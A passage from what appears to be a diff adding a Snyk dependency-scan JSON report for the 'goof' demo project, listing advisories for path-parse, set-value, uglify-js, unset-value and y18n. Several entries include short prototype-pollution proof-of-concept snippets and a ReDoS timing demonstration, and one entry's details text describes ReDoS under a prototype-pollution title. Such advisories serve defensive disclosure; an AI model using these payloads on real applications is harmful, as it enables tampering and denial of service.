"https://github.com/jbgutierrez/path-parse/pull/10" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<1.0.7" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-report@1.1.3", + "path-parse@1.0.5" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-report@1.1.3", + "path-parse@1.0.7" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "path-parse", + "version": "1.0.5", + "severityWithCritical": "medium" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", + "alternativeIds": [], + "creationTime": "2021-08-12T16:49:06.015288Z", + "credit": [ + "Alessio Della Libera", + "ready-research" + ], + "cvssScore": 7.3, + "description": "## Overview\n[set-value](https://www.npmjs.com/package/set-value) is a package that creates nested values and any intermediaries using dot notation ('a.b.c') paths.\n\nAffected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the `path` parameter are arrays.\r\n\r\n\r\n### PoC\r\n```\r\nconst set = require(\"set-value\")\r\n\r\n// set({}, ['__proto__','polluted'], 'yes');\r\n// console.log(polluted); // Error: Cannot set unsafe key: \"__proto__\"\r\n\r\nset({}, [['__proto__'],'polluted'], 'yes');\r\nconsole.log(polluted);\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `set-value` to version 4.0.1, 2.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/jonschlinkert/set-value/commit/7cf8073bb06bf0c15e08475f9f952823b4576452)\n- [GitHub PR](https://github.com/jonschlinkert/set-value/pull/33)\n- [Huntr Bounty Report](https://www.huntr.dev/bounties/2eae1159-01de-4f82-a177-7478a408c4a2/)\n- [Snyk Blog](https://snyk.io/blog/remediate-javascript-type-confusion-bypassed-input-validation/)\n", + "disclosureTime": "2021-08-12T16:49:03Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.0.1", + "2.0.1" + ], + "id": "SNYK-JS-SETVALUE-1540541", + "identifiers": { + "CWE": [ + "CWE-1321" + ], + "CVE": [ + "CVE-2021-23440" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-11-05T14:27:18.657314Z", + "moduleName": "set-value", + "packageManager": "npm", + "packageName": "set-value", + "patches": [], + "proprietary": true, + "publicationTime": "2021-09-12T12:24:31Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/jonschlinkert/set-value/commit/7cf8073bb06bf0c15e08475f9f952823b4576452" + }, + { + "title": "GitHub PR", + "url": "https://github.com/jonschlinkert/set-value/pull/33" + }, + { + "title": "Huntr Bounty Report", + "url": "https://www.huntr.dev/bounties/2eae1159-01de-4f82-a177-7478a408c4a2/" + }, + { + "title": "Snyk Blog", + "url": "https://snyk.io/blog/remediate-javascript-type-confusion-bypassed-input-validation/" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=3.0.0 <4.0.1", + "<2.0.1" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "test-exclude@4.2.1", + "micromatch@3.1.10", + "extglob@2.0.4", + "expand-brackets@2.1.4", + "snapdragon@0.8.2", + "base@0.11.2", + "cache-base@1.0.1", + "union-value@1.0.0", + "set-value@0.4.3" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "set-value", + "version": "0.4.3", + "severityWithCritical": "high" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2019-06-20T09:40:41.272349Z", + "credit": [ + "Jon Schlinkert" + ], + "cvssScore": 7.3, + "description": "## Overview\n[set-value](https://www.npmjs.com/package/set-value) is a package that creates nested values and any intermediaries using dot notation ('a.b.c') paths.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `set-value` could be tricked into adding or modifying properties of `Object.prototype` using any of the `constructor`, `prototype` and `_proto_` payloads.\r\n\r\n## PoC by Snyk\r\n```\r\nconst setFn = require('set-value');\r\nconst paths = [\r\n 'constructor.prototype.a0',\r\n '__proto__.a1',\r\n];\r\n\r\nfunction check() {\r\n for (const p of paths) {\r\n setFn({}, p, true);\r\n }\r\n for (let i = 0; i < paths.length; i++) {\r\n if (({})[`a${i}`] === true) {\r\n console.log(`Yes with ${paths[i]}`);\r\n }\r\n }\r\n}\r\n\r\ncheck();\r\n\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `set-value` to version 2.0.1, 3.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/jonschlinkert/set-value/commit/95e9d9923f8a8b4a01da1ea138fcc39ec7b6b15f)\n- [NPM Security Advisory](https://nodesecurity.io/advisories/1012)\n", + "disclosureTime": "2019-06-19T09:38:54Z", + "exploit": "Proof of Concept", + "functions": [ + { + "functionId": { + "filePath": "index.js", + "className": null, + "functionName": "set" + }, + "version": [ + ">=3.0.0 <3.0.1" + ] + }, + { + "functionId": { + "filePath": "index.js", + "className": null, + "functionName": "module.exports" + }, + "version": [ + ">=0.3.0 <3.0.0" + ] + }, + { + "functionId": { + "filePath": "index.js", + "className": null, + "functionName": "create" + }, + "version": [ + "<0.3.0" + ] + } + ], + "fixedIn": [ + "2.0.1", + "3.0.1" + ], + "id": "SNYK-JS-SETVALUE-450213", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1012" + ], + "CVE": [ + "CVE-2019-10747" + ], + "GHSA": [ + "GHSA-4g88-fppr-53pp" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-22T17:02:13.120091Z", + "moduleName": "set-value", + "packageManager": "npm", + "packageName": "set-value", + "patches": [], + "proprietary": true, + "publicationTime": "2019-06-20T09:38:53Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/jonschlinkert/set-value/commit/95e9d9923f8a8b4a01da1ea138fcc39ec7b6b15f" + }, + { + "title": "NPM Security Advisory", + "url": "https://nodesecurity.io/advisories/1012" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "index.js", + "functionName": "set" + }, + "version": [ + ">=3.0.0 <3.0.1" + ] + }, + { + "functionId": { + "filePath": "index.js", + "functionName": "module.exports" + }, + "version": [ + ">=0.3.0 <3.0.0" + ] + }, + { + "functionId": { + "filePath": "index.js", + "functionName": "create" + }, + "version": [ + "<0.3.0" + ] + } + ], + "semver": { + "vulnerable": [ + "<2.0.1", + ">=3.0.0 <3.0.1" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "test-exclude@4.2.1", + "micromatch@3.1.10", + "extglob@2.0.4", + "expand-brackets@2.1.4", + "snapdragon@0.8.2", + "base@0.11.2", + "cache-base@1.0.1", + "union-value@1.0.0", + "set-value@0.4.3" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "set-value", + "version": "0.4.3", + "severityWithCritical": "high" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "alternativeIds": [], + "creationTime": "2021-09-30T14:25:50.130236Z", + "credit": [ + "ready-research" + ], + "cvssScore": 5.3, + "description": "## Overview\n[uglify-js](http://npmjs.com/package/uglify-js) is a JavaScript parser, minifier, compressor and beautifier toolkit.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `string_template` and the `decode_template` functions.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `uglify-js` to version 3.14.3 or higher.\n## References\n- [GitHub Commit](https://github.com/mishoo/UglifyJS/commit/157521066fc43cff2feab7ffc1ecea603617606b)\n- [GitHub Issue](https://github.com/mishoo/UglifyJS/issues/5133)\n- [GitHub PR](https://github.com/mishoo/UglifyJS/pull/5134)\n- [GitHub PR](https://github.com/mishoo/UglifyJS/pull/5135)\n", + "disclosureTime": "2021-09-30T14:22:21Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "3.14.3" + ], + "id": "SNYK-JS-UGLIFYJS-1727251", + "identifiers": { + "CWE": [ + "CWE-1333" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-11-09T18:42:15.332622Z", + "moduleName": "uglify-js", + "packageManager": "npm", + "packageName": "uglify-js", + "patches": [], + "proprietary": false, + "publicationTime": "2021-11-09T18:42:15.313328Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mishoo/UglifyJS/commit/157521066fc43cff2feab7ffc1ecea603617606b" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/mishoo/UglifyJS/issues/5133" + }, + { + "title": "GitHub PR", + "url": "https://github.com/mishoo/UglifyJS/pull/5134" + }, + { + "title": "GitHub PR", + "url": "https://github.com/mishoo/UglifyJS/pull/5135" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<3.14.3" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11", + "uglify-js@2.8.29" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.12", + "uglify-js@3.14.3" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "uglify-js", + "version": "2.8.29", + "severityWithCritical": "medium" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", + "alternativeIds": [], + "creationTime": "2022-02-13T14:46:07.185334Z", + "credit": [ + "khizar" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `unset` function in `index.js`, because it allows access to object prototype properties.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `unset-value` to version 2.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/jonschlinkert/unset-value/pull/12/commits/abb534769f6ea62c3dd988f5ce0a4ebd1f91b561)\n- [GitHub Issue](https://github.com/jonschlinkert/unset-value/issues/11)\n- [GitHub PR](https://github.com/jonschlinkert/unset-value/pull/12)\n- [GitHub Release](https://github.com/jonschlinkert/unset-value/releases)\n", + "disclosureTime": "2022-02-13T14:44:04Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "2.0.1" + ], + "id": "SNYK-JS-UNSETVALUE-2400660", + "identifiers": { + "CWE": [ + "CWE-1321" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-02-13T15:26:38.065734Z", + "moduleName": "unset-value", + "packageManager": "npm", + "packageName": "unset-value", + "patches": [], + "proprietary": false, + "publicationTime": "2022-02-13T15:26:38.063549Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/jonschlinkert/unset-value/pull/12/commits/abb534769f6ea62c3dd988f5ce0a4ebd1f91b561" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/jonschlinkert/unset-value/issues/11" + }, + { + "title": "GitHub PR", + "url": "https://github.com/jonschlinkert/unset-value/pull/12" + }, + { + "title": "GitHub Release", + "url": "https://github.com/jonschlinkert/unset-value/releases" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<2.0.1" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "test-exclude@4.2.1", + "micromatch@3.1.10", + "extglob@2.0.4", + "expand-brackets@2.1.4", + "snapdragon@0.8.2", + "base@0.11.2", + "cache-base@1.0.1", + "unset-value@1.0.0" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "unset-value", + "version": "1.0.0", + "severityWithCritical": "high" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P", + "alternativeIds": [], + "creationTime": "2020-10-25T14:27:16.715665Z", + "credit": [ + "po6ix" + ], + "cvssScore": 7.3, + "description": "## Overview\n[y18n](https://www.npmjs.com/package/y18n) is a the bare-bones internationalization library used by yargs\n\nAffected versions of this package are vulnerable to Prototype Pollution. PoC by po6ix:\r\n```\r\nconst y18n = require('y18n')();\r\n \r\ny18n.setLocale('__proto__');\r\ny18n.updateLocale({polluted: true});\r\n\r\nconsole.log(polluted); // true\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `y18n` to version 3.2.2, 4.0.1, 5.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/yargs/y18n/commit/a9ac604abf756dec9687be3843e2c93bfe581f25)\n- [GitHub Issue](https://github.com/yargs/y18n/issues/96)\n- [GitHub PR](https://github.com/yargs/y18n/pull/108)\n", + "disclosureTime": "2020-10-25T14:24:22Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "3.2.2", + "4.0.1", + "5.0.5" + ], + "id": "SNYK-JS-Y18N-1021887", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "GHSA": [ + "GHSA-c4w7-xm78-47vh" + ], + "CVE": [ + "CVE-2020-7774" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-05-10T12:16:59.550604Z", + "moduleName": "y18n", + "packageManager": "npm", + "packageName": "y18n", + "patches": [], + "proprietary": true, + "publicationTime": "2020-11-10T15:27:28Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/yargs/y18n/commit/a9ac604abf756dec9687be3843e2c93bfe581f25" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/yargs/y18n/issues/96" + }, + { + "title": "GitHub PR", + "url": "https://github.com/yargs/y18n/pull/108" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": 